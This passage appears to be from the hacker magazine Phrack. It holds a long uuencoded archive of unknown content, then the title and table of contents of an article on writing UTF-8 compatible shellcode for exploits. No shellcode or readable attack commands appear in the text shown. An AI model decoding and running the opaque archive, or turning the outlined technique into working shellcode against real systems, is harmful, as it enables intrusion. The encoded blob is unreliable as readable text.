M@ (#&-R29G (1E>!) P&CDBV) \$ _F3, (+\J!-SA] &8<VH3] H^GAVTC\$1*P=LX4F^
MA=G#G!0>5M<XG"L\ :4B_R`J?`_4O/!WV`L+466+R"EE`P`76K,M%WH"PRR7R
M-@+Y1JK (HS`) 7RS7#XYHG*%7'`^%J; %B6=UEX`FU0*7Y3:KAC`MY0T_J&2; @
MC_Y@1^9L/.A@P2U4NNC4] 1\$I) UQDI?:/J) @5 [YZG7R1-QD1+?+=+78#;/&3
MF^P&._JYOLUN39NCP (P\$R;5-CA3`HQB/E4&T<P^V1W6HZ`<FO.:U6-M) 7SN!
MLK?`='M?+WVOES*%0B&5=8J3`V;U=12*P^\$`28&O^6BV"!-_/ \$CU?MEY&O;Q
MBK\5:917IE*Z_ "ZT (Z^D (5R'\ \K8%CA`LK;@_V:@Y"? .PGLE"*6HM"S1>N5-
MH6DPT (!UZ4?"3<W77Y/"_1+^;4NX) BMGW&9VW\ P&X'+YFP1OJ*UJ[:U* [9U*
M[>Z\$VE] 5ZNY5ZL83ZCZOU#VNU!U-J/NL40>H4C>;4'>] 4O<OE;K_F%!WM5) W
MJU (WG%!WN5+WH%) WZ-6U5;] DIV%;8KM2IZ-U[-_#69+I, 5D (Z0E3::1>8R\
MM07JDNY<, RPD[+\R?W[<_ =J8'?MCS_XXEA^S+>MK;B:196L2Q;7,A+I?U==T
M%) /#>&3!^8O] L65'_-@?V_ (#+AX3^GM6WY^EE\$G55NNK+>>O"W-8P.S>CD+W
MW=Z!_ /K.HG9K^S[, +JU-0NW2ZGVXI3 (K\$VLO5S'\W;<*Z*'%Y] MC2PO[!V_N
M0RTUNC2QN\5 [\$+QXLSNI [C8^K!"D!5*/?%K'47!JZ;J>YNEE<5JB\&;C\>+S
M' TQTJC], U-%?LRUC'E&!%OWWE/_;N<EK1UU;`<UPG_PW>Q91V2 [7J%EC419K
ME] W8=ID-_2ZS&%6[_] LZ' 5Y.O2ZC (=Y?X\X4\4C>E?LJP.85JE"U_Z (Y`?J
M=\$BB?@2QFGKQJIW9HN?V1V9_&`#XZ`Q5X`SUB+9T&6!A4H!DF9'M@W=N`HK [
M+F0QNVFJ6%;> (%%F9@MP9H2;;S1J-`8"=_ :%OV* (4"5VD (!:<H5,`U) W)<U
M) S3:BT^M7 (!L?[@>! /FIV#`*Z1 [.A8R4BJ-, PF?Q`7] -XUE\;AN/SP<5X0"?
MM5G^;\$ (= /X3\FN9&%Q"] M\$7YH] 2BEI!&M<2\$@8^UG7\$W&14; &6M] =<M_ (HJN
M>A-.` (T\$7I%Z5>^LDR!19L<K4A (7Z?, =XN+) 25&/ (^W1-E`LY@1' %W!84DP
M\ P4<?@:7F6IW9J/) 21W, HY/.B [E& (1P&`G4Q [\$TYWD`9'&'<+"^:GW_FO\`G
MGNUR^! * [G-JSP8QLW^ [5XPX6T4F' 3X=*8FL.FIVIR&P=; >_MX=QLS (XD``^&

M(D_:3Q"63=X3AL8#[@#\$79@`PL()W\<T]SD`B\L_F-) _RG_C/V!&E><G'-`5
M,>,0TS(300!%@M:]#5"QY3L;64\$C=S>P>F<#:_<WL'YG'\)*&Y##KFY![.!&
M+\-NU(G[M']Q9R63[!SL8L2ZR6)YAM@`X4T0\?@-YK5<>,;V8O]VS'H>D87<
M5X'RZ7-/?*3OP4Q.5L:1<.7=7Z7:M\NU;U=JWZ[6OEVK?;M>^_99[=OGM6^_
MJGT+;:/^_<L)[[<GO-^9\`YWPOM7S2#`>T4HMY.\HYYGH5E:G^<+36!`?LL:9
M?>D2G\3L8\$2"_:B;7)<_Y2RNRUU96-YC\V99X</\A&?62@(<.H:9K:T]J8I[
MWAM4^H`1*^M,QH/1B\5`_4OL&V*6LHH<CXU?-/3;`N'3,J,A\$8.R%,JEW-E
M%'[Z-*APSFx!N=(/#H#9().VR@9,30OEC;2P78DNIK-* (N?BS:I-?P4V[[U?
M?%[___N4K^]Z"[;IZH>N7H66!N*3;[0V(G\<N+.^&R24\1Q2E<;M!+ZWG(PXQ
M9N,&_:'C"<P`249\$=+(F<=6.UKTM#M:_O'"D5TL'9/KKU?73K^^C6]%'MI!N[
M_=5V\$][4=J.O"]U@)Q`MQ'WW^\.9?J7'\(9>:Y<U@Q[B*R\$ZW]QY%I9+TZ;H
MMW/'(C)+_*QOT)3A.@+)9]YRG\01K+T,QF;X/=1R!/WH5G65=]0^LQ];X01L
MP->R'LA\LJRD[-S/=MAJQFS'KN]'V9#X\,IBZ<5R^<52X45@)^,C06;UR=>X
M'L'I8?UGD&_,PGIL'@T[#Z^M/7]LA<I.9\$E!)!::JTQOPK2@)3(EX@#&E)E)
MC<1``T''':=*K)\!!,(B+<'R"HU\$T1#AA'`VQ\$D\$Z3H%+G2<!J8[#N\$YIH&]<
M_PN_=E')`*:DC-"O.+LHUN4/TOM8'-S':1JIC;?0!!]/JH&=SZV#M-@4OSL<
M#ZR=61WB8/7F\HUFV=Z<Y@W*7Z46Y>6\$)OECN<UBHR>D@W:DX'D<'SZJ_7)E
M9(A[ET5GQYO])S9'M[N.,L?L`*1M0O'<(*2EWO_*Z^<^EO\$16I6<>>A9W4
MDUGGK%,UIC*7CFP&!`?WUY3^79'^J_-?KS4G601=M\FAF9[3!-;\TK*ED8?=.L
M.-D,/`\$*VJGN@H,_5R\$9UD-B/%#"R=;LB:!8@602+\$LU(@AZ4F"VQC=Q+\8I
MTV2P_C'90#\90_>`M5H+UC\L6'^)TJ1NLJIG*_N!>7Y/:``KP4ELZ`<(>)!
M'5I&95B>WPW*TN*=@/#G*APC`\=Q&@YKX8@GG_E,Q,GRW;!H@2HTL85F#_<H
MT_%P5`M2Y6B%=#SS`)JYEVAJ@>I:H';B-.)-I1:HY*YSN3NHU[RJ04JL4#M
M7T7I&5P,/)B^,'7[/OM.U\$H\$;DM.A@S'G*E8NE2#>D&#^JJT[Z+6`9%\%2SB.
MD5.IN'I'\WB[?`#N'M:"1W6JQ\KP];B__U+GJ'-W[^QB[3H>\VQ4L_P+7G`
MR+>WRUL]5;MGZ`/ <N5DI#)X]6>ZR7_+3C[-.[8?@"W\$.@H=@9IZH]/8\$-\@@
MK1#D!\$?S\$V6]>'BQ`7')V)><H8T4^`PE6N'/RY.MX9+9':6]^A_U+),0J1VE@
MGQ6,3JNTS\$5>]OHB&B!/>-2&I.D46:30(>\$2VW7\$"65LFWQES2_ZT^CEWO&1
M65GV7[[%-3B]C!F[75\BP;S=.OK6-,'S>B:[`8S"FZ8/'<,A[C&#,&,_RE/2
MI.83L]"-KA8D'(#[35]^~DG7S%^9^9&Y63+SUZ1(SV^90=DTJ^C:LD*Q``#S
M?+T@@`(207B9#(&XC`6HC&%I6YIPK16D77'"<C@XOA?W</?IX;KLN#?`V'N(
M:'BC^5!\$?K-U9!I;QU\>WX/&,&/LC?K#A9,3.`#2KS8-4C\GIW]C76J>L/@W
MTP:E\$4<*NW\;9Z/YJWXH5H^: ^D8;2/MUC1>E?<7-1V.?1@J[*SRD,&Z%5>;!
M5\$X<=(7^*>NPJXSUINN'G33Y\$WR_+HA[=* .05M]%S#>A>6725Y#[*,F%V?(=
MXFX\$GS'>=9Y'BV%H_MSGMI^N?[UA3#8^A1GBT>)-IX7LTG[1KBOZ%8JR&XHQ
M]O/ILO\N/M/JU5Z_X8<,,B0?3\S@ZO?%+K>2EUJ@4?-\$SD'#E;#UJ27&S-<H[
M7&EQ(ZSND<2>%;*M,Z5=\$+(Q^80EX@TV%D17\5?\$JCF/!A%<]C(O!;FZ;`T0
M-?H"R<SF)&8_J2#, #H':-(LB]I4Z&^/:+Z[Z<#8\VI9C]4G+Q).N[&'&+)CU
M'!DY=X2K1*SB7'.>&_DO)\22*QQRSG(>T3HC3`YQ.3WWCY(!6;5GKC%7;/^I
M>=4\$7#A&QIV:6B<J;>-8LI!A.4]TVF*\$]VS"+>BOW&([(*X+/+&7);4A)PYE
M7ZS\KK"=M'A01`@I?0`N8'Z_=_P:5T7ADTLK&G@EX'`M)NHCN=RP%X[X=GDW
M@M\BC:..=NWC1)%<MK.JLRLZN,\PX8A@K-;6#\`K\=XG_6S:<^;6_9U>ST*0L
M&A\$:"M5V605``(Q-&P5TTU.K3-.)99J@=<5OEBGQK6[1@O@Q\$, -38BM4!UQO
M1PS"5KQ\$S/8*/WLZ^!\J[?N!G:F7...:G(C[<57BP*)A5VN:VD7^B\2+TX3O
MU)_QW[BH3M(ZM?#UX1>TI0['HWEQFF4]\$6_C0>EE+3#J2FQ&\;`&&\$&:3_#Q
MB=N^<-ZIU^<U@H`9C4<)8@+,XSJ@GH2+GR^ .J=U).37C.:!9YV:SK6:##>QZ
M^2D.+:`AB0T6L\$'Z[2B!1R)X*T+(L"L`7FQ3!1"-L1RJVE&G)DW#\$N06)D\
MN7&4U91E.\N&V8G""DIR<`1G>[FK'N_C@/3XV%QEQA>2*H9`QL6!HB]TP1[P
M6D(-.!.!_09,".\$\D8>QQ\P=NFZ']@A^<=/%: ?@ZWC[=>X^/WM[K?[AS\6P-\:
MW#IVU"\$IFJ1; ;C#JZ@:.B7Q"- .5HH#Q3?P7!;>WL') +L_MW6FW>[?S4_C:+V
M>=OPESGH5JM?[:SOJE;SUV)]_X_)D+<>[MU^*-YM?=F]ZA0A40\Z8?=7_*
MQI.D7?\$"EXG'`,0_PC.>%=KHL+9NVVQ2!/1QD^SP?OHT)*,\(9VW=#[S89
M8-C^B[.SXDA+`F\$_"CFJQZWB.[.KA@5/V@_Y!\$*3211)CJ\VT\$398!-:,1^=
M\`WS/32\$*.;('Q() (RL.W-KT6'!@F2'.LG'4E:2DS.?Z(DX@J2GG2&U79J],
MC[Q<)LSIT?`^P8&;3T2@V#HV'&'-' .R3`E=H_*B\[@C,*VC/1CV(Q%ZN&5/3
MB/862.SC<YKSI-"2Z#^AST3:Q']H^SP=8Z,NKG"B@W\$)43^-Q&,J+E\$.K@!\$
M(PTWB`L"NMN?.01*,!+BZ(3&L^C:G106FA\$FKE=6(`\Q*P69E!`;D8Q<V,03
M%M[YKMJ34KDW`\`QFBF`HRLW8^?BKUT)+)IP5SPC1QN;CE>?K99*W-7?SX6X8
M7N+/EZ/%RM)D4O=1`VT4HN'`?UMA*5:@<PT7EQ)+L[EPQ7CK1KV(%E@`PI5J
M\$YXA*Q\FP;JA0Q^G]59<2:6)>P!Q,T<O(P3A/MZ8HQ_?'F_]4,-_ ^6%U3XJ4
M1ML?\$',9T%Y(6A,"F::('=CO^Y5=\$?XHY:@(-63\EM[CWOI3TH^BFSEDD8F>
M8JO\X+>\$%YJ8F<M1?RC8+,%DG0<WI!8.:<M/J<CCQY%L=?ZBZ?>C;DPZAI19
MO'GUJMQ*J<@CE"FU7L7:IO\?+=C0>VQ7'XJME(IPQL364GE0X6F6],8C49HV

M)+!KZ2D5F<,_I5;8!'4[DT#<3Z[\$*H6@K_I4BYR6&B%MH5MJA%]YC52+7)<1
M4RR"1KJE5JI%NJ5&SI"XC>_U\L-:+MY3ZE(#[]K6OD;R<=:Y&_P?R@V8DI%
M>E1FLB20;Y:RFQ-'38:DK@[>S*%W2W#1B5AL:B<9TXIM*0Y#U5#QN@*=@M+
M-_DFGW=4:'>1K8AKZ4=)^9V-SW!)K7':,M>T+%OF[\W[68A*K\YO!'DLNAE"
M'H-2J4(8F"0TD8+@>QI9V1<G@6QZQ+4SW^SD23O,\63_<1L].XN")].NN5\$T
M!O[5BM4`Y@G/T4:I?[^\$@ON\$2]>W]"2?_`V],`1&G8_`-9.5&A@/;%>#<?^)
M-,#6`) *J&";[&>/QH/G"/\$%\$O[7=FQ`)U[,)HUVX,7,:/A5N\$`^UX`[%#31A
MOS`^I;^W?@/.X\$^?-_`^:UY=] ?QCBAA&QR@D(M_%OX;KSUQQCETH1&M9,(2/<V
MT*TV@-V"Q!JV6-2T8BGTB]W]5_`#+[M/G\I3O/]/9!"?#S[M[?`Q/]87JS\$
M_UQ:FM[___QP/QVOJ)H,G(S.(<%PEF]9IU`G`F=A8O:N>,.VHO5C#22+'=1=6
MB+D%EQ\#I*11DC2`M^0-K`0_EB!)+F@P?/HXPL;)>,@VLI-L&'8B?J])K\$`T
M2[TFX4; &\$=(X&Z;7;6<)G!#E3UL2-?V(P7X^ [&I3(N2_D,9<(&_GPF@_:]V\
M0""?",[_>5&\$BNM?0K%\ZC[N6?]K*Y7XORLKSZ;Q?S[+,XW_.XW_.XW_.XW_
M.XW_.XW_`S\`_F^W1R\?DOP/;Q%SM!P4&!FQPR\$)GX7L]9Q*V_,@1KT>S.P
MH2I)&'0Y1\ZZ=8\$\)1UW-7@G![Q4`P;-\/.+UN94X!R<\MLU)P<BM.KQ@*M
M9!F4I#09J)V-3B09FTLV6,@P*\$FY%PMI,50N1JE76WMO:#+_0S*#;6"DS<W[
MDYKX,5IYZ`5<(?CI!>TX/??:-.94`FW:I.]0&*3-N;FFY`%A9BW9_\S79HF@
MXGPR2Q)P&[,M!Q2S5L"WI01Q*,@1;3ECSOP\&\$8X\)3]BF1>+QRP-K`.DC<A
M#4604(A01=-F3=,\$.%&:)FEC5LLTS6PA:.IRTV].4\$`M=GL2[+6]4`ZF.-LR
MA\=O=D[>;/WEQY_YUS=O]E]NO?'ZK4U6DUW\$HPWS...[:=0)0]6\`Q;%/E(&
M,?X;<TTJ3U6SV[X"2LUJJ=GRL"O]GXT[EP_MW^J+3!B%S#!PV>' -DQ8%Q\$P
M)>Z1&/\$G1JQM:^7?.'[K;WV*^A_XP[>[G]G^L[3^K!+_<7'QV53_`QS/S,P,
M/'!ZT!Q`H&-<_) \H&C,V7WSZBYC#JU8EL=M0!`Y<B5>:!'56]P6]" :7BR+6
M#\C.9_1_`PH1?T\$JAYEHR056],3[?V)FO/AQL"J2Z9.A1=A5]P3U/'Z*@ZY
M&/SECJ55-OE89X50=LHFM(/QV1DI/M;H94?=-&\$ /L5\$8*#8@M8-@!U%FX8XG
M+M1\;L2:`@>)M6Z\0YR2L^=B/+ALFR!@-PMQ(1``&2K':.&+6W"T9944OGO]
M4SZ5)E6W/^Y<6/6\$=H5+5BAP@TMZZ?*9390YU0-) #-DK(!L/ATDJ83^BP56<
M)IR44T(A2H@5QGK00:5]S![<X/2A`P^L0X].TA/G^L/6.\$PHAI"US;<.O)C]
M@@"**M%#%Y!UC7\A32,A*HJ<^@W`&VBWI"B;O2=7N%(Q<A"!<>VS"KN^9B%
MFA*SO+CZ7"(XM-BW=(]1<`E:T/.Q?MB-@@QNDX111K15Q.3T*W,:&KO8I`DA
MII_1)`\C&FDK"\$1?I+]IM`S`-5M*V=U5#PKEL`PA6\12`3\"*OUC,GX``_=(
MB.,22P`%`PQ?]&P;Z(7/?V@ (XIMRFXS->``S)F,*0I9Z;;,2[FBS_6DVO"+_
MES#)GZ1A[[G/_K^`LE:V_ZTNKTYW_`^=X/EKQRK.LN,2BX%()]S.QK_&.`^3)]>
M]T\X,<R5!)<0@;W>&DLMPU5:-F4B_]7T1;I_YY#\G_4IKG^=Y85/V?BXNKB
ML[6UB>L?O\OQ_U<6_X]9^ [1@U#___YNN_?O[U[X/VQ:?HXQ[^O[J\4I;_UU!\
MRO_PS,]_YF>_TS/?Z;G/]/SG^GYSQ]Z_G,V(&T"C1^`H8&?T/1M\R`%R>L3
MJVC4?YU9"@<+1T#U4G9X_?=DM!D@K5Q\$FH5[1:`4,I9/LFEI/6L.2Z->%&9:
MQVM,,YO[I>?*^<KUK9>VO-1`*YB9\5XAG3EAUB5U1YYW9#;WW\0VR;GVC&%4
M<M&5O*Z<\$)-E>UZ?L-SE:[ROH*/-@X6T]Q3"Y)UW2S,U4\JJ.*/%HW^+9X[
MY?]/(_[?_)`OK*XNE>7_M>6I_/_]9GJG\ /Y7_I+_5/Z?RO]3^? \ /D__KI?^)
M@K_(_"7!_-+.HO\64FA1_K-RWZ=U`+DG_`?B<L7_?W5U?7K^]UD>>Q\$0N^\$.
MW_YB(6(/UR\$S^8"VR'?62V37]Q*I/(6--MA#S.&N7*/="()WOJ<!)Y>V(DR
MC4L19QP1J>`S`H@X/!=\1&PU,O!%8,@G-(+I&K.*VV9-LG1R=P>NK`_>1)),=
M*: *+\`K;L.S[07;:C:*^W&E&V:NHT30-'.L3`\G#2N#RT\KS=?,F`HQOC*3*
MFFWS.KG&)=M68+U`XI`<_T70+`+=PB`A,C0YBQVDV"M8+KJ^B#L71C*/GD:!
MYX"AJ\$@C]@48#R389!<2C`L1XB1C6X<E&\)PDB*V%R).R3!)<NN1L(@.-4`(
M.R3TNH6:G-FR';#?3`B*&ASRB+T2!-G5:6(?#Q81\$2C%A``72E8RZ"!&:0`4
M<KA&DK0&!%8G`H*3K&U>L5\ /7\3=H%YL3(8&AXEQ+C)-DG?'O6Z@L-AX<F?2
MU35R3-E9`W.H!P><W+/MI"2)2N@M2-<TK\CZ?+E)\$E[+ZY4[L4GFO5A/\$/(X
M+D4GO1U".9\$ (+`!38H>:FGZ]'H<]UC7@S2&(TWAA@*!MBLLCSH)Q'MN9<16/
MQK(>)0":1/P:\NUTCNA"Z@\$G-D6`D8VR)5WP("4<I/I."4`RW+:Z;@U#HEP;
M*D,H4>#+.4-<X0PVBE/N0X9YHOED?,<V]'8I(F,B&-SP=LM,(,WJ:\$J\PJZ)
MKL7=J4AP("BODX-D?NMUY*D:R3U@5!/R_-E"\$\$\$^\$:X0.`W``U7=\$ (QF@I4E
M`JJ,!WZTHZ!06IQG2YBAB>!\$NB.P`BAIG6@X@G/12P+P/\$W&@^Z&^H6%YMT@
MOG&T=TT+A"/]6&(*!Z*9V0(6I_&:IL5G@9?9]8H"BEU)M9G)O`O8;#@2U<*!
M_0XG.B*_2YHK+-_S`;OC@?H(M]M)_S1W%Z/E3/1S`F7.0:]G&E@2%D)S1ECL
M8:UJ(JY;!C1K.K654\$)8046+-)(B1U;E.`M`=BFT2IM&:""RA28-5;5(XCX/
MWW#;UG\$5I#R-66%?LKN.Q9AM01`GVT\=^;9MP7;;_71CZ28(.9J,;/A"7+H?
M=U"YY7#!7*)EF+^T;`NG*,%%E,X5#4"5OWE"^4QH5[*:YNFM;4`"99P5HMYH
MT"93`_+>63EJ%,)`&,]M<%Y3J0`17KE6WB&-12S`*1P,>7]QMX</CD]8#3JP
M0:R\X`&V!8^*(Q@C-)E;GLV-UM26Z2>L\(_`&,Z?7@9OSC&#L!(U^Q9<"ID%
M\$=TPPS^EK2<(7HE`7LZF>KK)1B5?2(O^DELK;;?C@?I)!J!BBW!>'GD40=GS
MV014D(&\$@FJ17_#8%-2W9%(A)!!CX-BQZ7C`03^`C'?EB,2FK(*D4JLOR6W

ME\HE;_9GC)&-6\.:N463\$P+5'>#*S-'6]260`J:DMM`L&,F`9)"P%__#LRT%
M\$QQ5W8IP.8+%E532'Q2:10;RH-)V7D]\-2OC=9G!XY%P35QP9Y!TUX>PHDAX
M16]ZB`+G27/6<=:RC"1E"<B+&=4*-,) :M?>6NB\[I'."&>?Z:8.-N4+-\$-L2?
M63O''!C:8P;9&5R5<=\HGHyB8"V[S4]>*THE6..GO7&D`4H4H.(F7]SN<D'8
M9`DB7EJ3EW0#43?V_&\$1'[M',WP6@_`L#8(A4K!UQO1.:1YBE^SB=O7(-'/(
MO3QR5WD=,T60L!,R9SN-,*TIPKW1<LFW8\^E6SMI^RK-'Y.WS,]/5(/>FT7S
MP9@_S_;\#"NPSOJP"*AX5<R\^'NQNX"BO'IVAF?'/U&ZKS8'[C(.XIT"\$<
M`4RD4SB4?JKYC'8\$N6E/%DV<&#)BUY""I[;E"VI^,.#\DZ3T8A4A\$(;'%DP
MRXWHKB8G3&OI\$O8_V*&\$:8IL=,H`BS!H<-E5/\$EIA%WN*<L0SY3D#`Y3C`
MS[GPK=W>V0G-KKDB-I6DJDA*7P2X:C1.,[4\(?`#@2BS+W'2\~1J@25AB#E6
M=9NAYH<D<L4<CI*X#`)(=G))U`EOP@#M;8M60#+LM<8^!]-D7:;74R\$!_8)K
MYWL?*\$@2(HJZW5%"1`8\$!>*Y,1># \$LKL T1\L_:\'(.X)`1^;]F^@*ULFEK[[Z
MZD,K>,&#QR>+7W@+O7%EZ3D\$E;X/2Z0L-:Q\$7POE@O(%JE(OD0G`QZ+2BP/
M4Y-X6PB&229HY#,,+HJ)45\$![2*2XR_?!,&?G94X>!\$LDW\$/F,78Z"YMYL.QD
M\$[M!9J9.+G&26Q%[P4K;O+&?I(5@%11L-VZ/6:ZUS8[=7G41Y`\$B&W\$[:M?1
MH;^#YB)+,UAO([<*;Y7EG;+OLM!K%N%H39=?G)+DB:14X`BT.8UYI+RTYL4B
M@RYH?HNF,](Y.)758@N*.DY.F5BKHHRJ@N.2#8!ZN\$H8F33/88=UR&)U.U"B
M\$W?S*CD+2FH?'KW"&G`ZCGM=3],K4U.-7@M5\$VM\$8Y@J7\222D8XX)/+OR%O
MQ*,+!)VL<S4JL-R"-%PAK=-R%5BBF'N),)K3;=R%)BHB8//G%&WT#S'G._A
MO!\$M..M?B:;))?\$1,YA?+!NIE.D"X3.?EKMA-C#>8,05;7Q<6P?7C)AYG_)1
M;0SIFD51E84#Q15+*_\$HCZ#+V&PK:2RU1,&8L-B"8X31CH9V)RIJ(+*4JYI-
MD8Z2`4T19*`L@'W(]=)4C[]MFURF'/2(]B0)\$L"!C68!U4G.<XA"%Q0=!(3
M^`P&U+S7L=H!YX^C'D71*5LBE'E8K`3*_2'\$[==96_7<VP7&AZ8HRY`S1ZXB
M>:1`R!>F`E4I<YVZ[8=+;DW0WIYD%C!K_A\$-)[`"M0WM#]IFM:'2=,&VVCZU
M:KT[RPY`\T*5U\$X!(M#B'YF_0.[R\$9124_/*)C[; ;3,24T2>PFQ3=UF2RRD
M:)625>4X:IY)0552F5/'%^':8QIG*BRWQ1XAX[0(!3"XN78>J_-!A/B16:(
M*5_\$@X*(PGV^N,?S`PZ*-0A](81I\ (SC:Q+>PEM>9<6KB+\$2)BL*K%T@.B?(
MC!`K"Z!TL:]E;:/>KHB;B?.2L(56IH2%_%84RH[/N2Z0>&%("`\[%W6-V`BV
M' "<-R=\#N1V?RAU6#B&->X26PQ86:\NP*7N4>!,@J\R:R@,AAW<NJ#J`-G*?
M4N-3:X-4/B=Z-Q_HFNUSX3`0L`]EJR:,'-Z57(=:G-74\\YB"V-+#Y;=4&.9
M1@ \$G3@)NPC:&P-./ *P/F\$'.2UZ-3,"-[*N^3S,4U#WQR:QLO6#:N4\$9Y8EV4
M60!@`XCOO)"#IME0&,5RF=(Q@>KB+?;V\M;>>,VO,7N=![IN+*PL<.7VK1R\$
MTD30`A8VC%(\!8&[3&SU;?!*@1;U"D!ZAD*48E!U.UG&`7?4X7PI+<5RV*TS
M)\$R2RGFW*\$`#V[I,N3NLXK,D1+AE@UR0R]OJ"A,IXV9IT1VAN%B[?L=-.1F&
MHXO`*A<D*0."\$H26N>9;N*[_L.>V%HE*:'>`C=S.R!..D<C=N?#N.7MU9&^W
MU`3DXCIZ=?8*/)1M.V&M@J,JBZB,(Y\$*<#;'`HA>5?;;XE/`BGT*4RA" LX5:
MI]!:0F+>#TD3O2(TM+1?V5!ZT"#K-8S""2>\L";9_0:R9KQ[_?YYCNV>\$XTI
M&:YXXK^WK(/`#H)@RO6[G"KL8O/,IC1Y;_ :W=O(UYID<`Q]*F*LZ\='9)TTF
MIZ#GQ\$5[RC7M;!6U%QEW(,=[-B_4L`!\5"R0\#G='W;9K&/MQ;7\$Q1E\G=\$P
M\$, ,#VQ7ZG(O=RS.#F98Y`;(8\TFG,Q[>JM:>H>=;.04.2'DZSZ_OGU`V3]<
M`I0SIR)7\`G'6D@*1/7%'A'01J,MT5).SAEI@N6:@S(6@JT\$G>48%,;&.Q<[
M`5J^(`RT!`=Q_')%0=<9Y[#&.E%@W,2QTD`OD*&D]YM0"HF[(0L)GYO32K:
MWP#6/O5/;>EXPY\$>G6>:!8R/?;\$.*WBP<GN<BA!`)\`0Q3*1BRW`'QFE'4B_(
M`?BL0D8-#S\X:Z1=#JLMS^CMZ;=!/@3?W,O<8G!;L157UV=+Y6S"C`R39RW,
M+CT>4%0-^N\$@'@*#&M#5YJ+2Z!L:Z.+8_FR!;>4)\$B"\$C\$GHN^!S1-B^.B/-
MV)2?DYX20SD#WX\$7:SMX*:\$-'`(*9[455PUQABVJFVKL:@<'N1G'<AU='C@7
M'(TD#+RE\$=<1D%XPPCJ=KJ&ZH;.8MDIV-O<:]E!QC.#_+&ED(U/V47`22I
MR/(=D,%'+@6/6D5U<QJGW?`5HZ<<EL1WECH)U';%(YK2U;L8W?^7_[(+^Y7
M#JS/@^Q4\&PMZMNU!H=&'KE)]8"KH9SKVM76M[NZT)<YXE,"!L`S91*&J*<8
M'GM\N&S/<'1]LY*=M8*P`^6\$1*T+FYF.2T6,YF.U<&XY"V>NC;*EPC=O!K+C
MNNV`U8OH9D@X4B6/V:RVX[+J<2.Y5JO+--`-FS7M0I:ATMHO+D@],.K=^LH1
MK^B0T%\<1K>&QMT1+NX;)IV0IFY75<%!S9Y(>1*`*Y`L)I>&LPV\,Q!IQ95&
M%8O&UO')RZVCW>:F;CY%"5T905#8SU#GX/7.8=.32L<<QH:-`_X.F&GAM^^^
MU1ZP-@/L3GP\ZNU]7!! .NG^ADF"&DI"73^OSH.(==%JOK@"U7KW9^N9(@8EU
MN!7CX5F]D9"[Y6Q#3<N[UUJ>A%:P\$K[QK=4UYWX%4;YR],RY&7`@Q1[^5/2:
MY!05ELLR;Y@?#X[L<8'?D5(XR@2>CIA+BF;8&RL2)&RU<*J6./U?QYGU)W(X
M(8'C219H:8N+)]98[; .35D"8LICECJ@A'9S@E%7.I[+FR;]1C@N:0-RW0L#8-
MCAO4-5]CJW4!R;MCWNRXUS61TC*0UPV_\$K.?\$PGPAQ^]2=8`"3'I:3QBWQ1/
M.&5!,QR4#_AA\6R^#P/G<*QQW8"YZ1,#,%[G@40F2X&QKGM,3?VO7=L!" /X
M+5Z*EN-8=Z!.CS"0],=\V`03"HY/F8ELYPYGM7076KXK&R8MO@U11EDSJ#-"
M;HI*R3*<KU4ZM:W(`#?=J4PN96].V/XW*W&G)*BZRS+:*E!%+=&US1:K0;PI
M1'9!^I-/6T8-+MQL6"<09\2)K`<A8MTX>TR<E4Z]C0I!;/;A@_X:FY%NQZ<)
MT@1*,("H)O@5W!3\$]13V2E'!B4][SB]U!FGP=0^_E@[I"TOWUUI1;+)"@Y_=?

```
MPKLW?G#`,*7-<7EQ<5D.,G6V@#'DU3FS'FSEJETDG9)3]:XS^X%=(7,4J50^
M)IB:W;&6[S*@EL`>%= "A6@M*L;L`(;W8S65P%@M['8Y/>S&\B7NR_1_21CG@
M1'V\EP^C!*3.6>$(%K'-T)1T"2A2)E($->I'.,&)LW[NNS;V%E#N!7(7#PCJ
M>8#Y)KY2?LVCC`J#M->@1@3!(/[[. '([*)N#(CF\ (S&'!.I!;AE2?]V[])D8/
M/9@<@K.H-^+5$7%H/'@DMC`:'\.&;F4Y^-Y(W+4*C;6#G8F.H"-.2:=9A@=F
M];FY2, :I*ER\+, $/M]PE+M:XB&BW</0"NZ\`'+**M] (T]GT.MB=M+OJA\=^.+
MJ,=' ]HQ[HMIN?!5WQ[2TB+P(V[]=MH3MN22:;,ZZOD@0<TY2&@ZNDMZ5\%F0
M#6F9-+]P>V;?6YE8]EEF)EA<>?2V3XO@9-.<$Q7+#';'ES3>K:[<S.-#"N#E
M4C5$-J<->X"!H]29=G8.NWDT^%MRRV+(Z[!W%;;F2[-+:_B61G#T7ZW@*!SW
MXU[+;_%0:N5^=D#76_$HZL&SE+'30]H:7MP2:B]&H^'&PL+U]75[>(%LH>TD
M/5^0GPMKSQ>&:_G%V\6UXQ_3MWB@VI;%R9/\/*LG=&:(/'\]BSIC+,V3>F"
M.G$ND`K$!$-P=MO#[IF1]HH-'0@283M:$[O$`I$+SL];?(#^O_VBS;_HD_Z.
M<5_M<U_\OZ7U<ORGY96UZ?WOS_+,I!%?:@49M!SC7PZ"^?GY]\:_OR-OOM<=
M'B[, \N:U.$YR:G-;YI:5,[F^(.]R07BZT/^5G01WC/MGGP?&_WM&'&!Q97D9
MZW_YV;-I_+/_\13G/_V$43_RYS[ ^OT[,?@D701=7UM;6GB'^X]JSQ2G__QR/
MO7I]6+YR;5^8I<#M=:4#NG-B5X41E[YB\T\ $BQ]R:*1_=H@M;'YTR@51Y(!
M?&CZM<Z]6M4J>=&=W5=;[]X<G[Q[H^&"MHY?S]C$!-7\"9S=+K_90RK3*$&L
M*$Y7!_L"=<0WE2*._X1<&'(Y/$S/%UNX"-/<+)0K%0-P7I6:&E?EEC45B*MS
M]?Z#_OM&\_<?BE?2#_] ]KJ)/G^DS?;;/])D^TV?Z3)_I,WVFS_29/M-G^DR?
MZ3-]IL_TF3[39_I,G^DS?;;/])D^TV?Z3)_I,WVFS_3YB.?_![]^AN,'6`(`
\
end
```

|=[EOF]=-----=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00

|-----[Writing UTF-8 compatible shellcodes]-----=|
|-----=|
|-----[Thomas Wana aka. greuff <greuff@void.at>]-----=|
|-----=|

- 1 - Abstract
- 2 - What is UTF-8?
 - 2.1 - UTF-8 in detail
 - 2.2 - Advantages of using UTF-8
- 3 - The need for UTF-8 compatible shellcodes
 - 3.1. - UTF-8 sequences
 - 3.1.1 - Possible sequences
 - 3.1.2 - UTF-8 shortest form
 - 3.1.3 - Valid UTF-8 sequences
- 4 - Creating the shellcode
 - 4.1 - Bytes that come in handy
 - 4.1.1 - Continuation bytes
 - 4.1.2 - Masking continuation bytes
 - 4.1.3 - Chaining instructions
 - 4.2 - General design rules
 - 4.3 - Testing the code
- 5 - A working example
 - 5.1 - The original shellcode
 - 5.2 - UTF-8-ify
 - 5.3 - Let's try it out
